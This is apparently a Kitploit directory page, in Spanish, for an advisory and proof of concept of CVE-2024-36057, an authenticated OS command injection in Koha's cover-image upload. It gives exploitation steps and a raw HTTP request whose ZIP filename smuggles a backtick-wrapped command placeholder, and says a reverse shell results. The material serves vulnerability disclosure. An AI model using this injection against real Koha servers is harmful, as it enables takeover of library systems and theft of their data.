Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-36057 — Aviso y prueba de concepto para CVE-2024-36057, una inyección de comandos del sistema operativo autenticada en Koha Library Software, que demuestra la ejecución arbitraria de comandos mediante nombres de archivo ZIP manipulados. | Kitploit
Herramientas/GitHubGitHub/hacklantic/cve-2024-36057
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubhacklantic/cve-2024-36057

CVE-2024-36057

Aviso y prueba de concepto para CVE-2024-36057, una inyección de comandos del sistema operativo autenticada en Koha Library Software, que demuestra la ejecución arbitraria de comandos mediante nombres de archivo ZIP manipulados.

Ver Repositorio
31hace 22 díasAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-36057 - Koha Library Software < 23.05.10 - Inyección de Comandos del SO

ID de CVE: CVE-2024-36057
Producto: Koha Library Software
Tipo de vulnerabilidad: Inyección de comandos del SO (CWE-78)
Puntuación CVSS: 9.8 (Crítica)
Versiones afectadas: Anteriores a 23.05.10
Créditos: Karolis Narvilas


Descripción

Koha es un sistema integrado de gestión de bibliotecas de código abierto. Existe una vulnerabilidad de inyección de comandos en la funcionalidad de carga de imágenes de portada en tools/upload-cover-image.pl. La aplicación utiliza qx/unzip $filename -d $dirname/ para extraer archivos ZIP cargados sin sanear el parámetro filename.

Un usuario autenticado con altos privilegios puede crear un archivo ZIP con un nombre de archivo malicioso que contenga caracteres de acento grave para inyectar comandos de shell arbitrarios, los cuales se ejecutan en el lado del servidor cuando el usuario hace clic en "Process Images".

Impacto: Un atacante remoto autenticado puede explotar CVE-2024-36057 para ejecutar comandos arbitrarios del SO en el servidor subyacente, lo que conduce a un compromiso total del sistema, exfiltración de datos y el establecimiento de puertas traseras persistentes o shells inversas.


Prueba de concepto (PoC)

  1. Inicie sesión en Koha como un usuario con altos privilegios.
  2. Navegue a: https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl
  3. Cargue un archivo ZIP normal y, utilizando un proxy de interceptación como Burp Suite, edite el nombre del archivo como se muestra a continuación:

Solicitud:

POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close

------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed

<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--

  1. Una vez que el archivo ZIP se haya cargado correctamente, haga clic en "Process Images".
  2. El comando inyectado dentro de los acentos graves se ejecuta en el lado del servidor. En este ejemplo, se establece una shell inversa en la máquina objetivo.

Reverse Shell PoC


Referencias

  • MITRE - CVE-2024-36057
  • Hacklantic
Descargar herramienta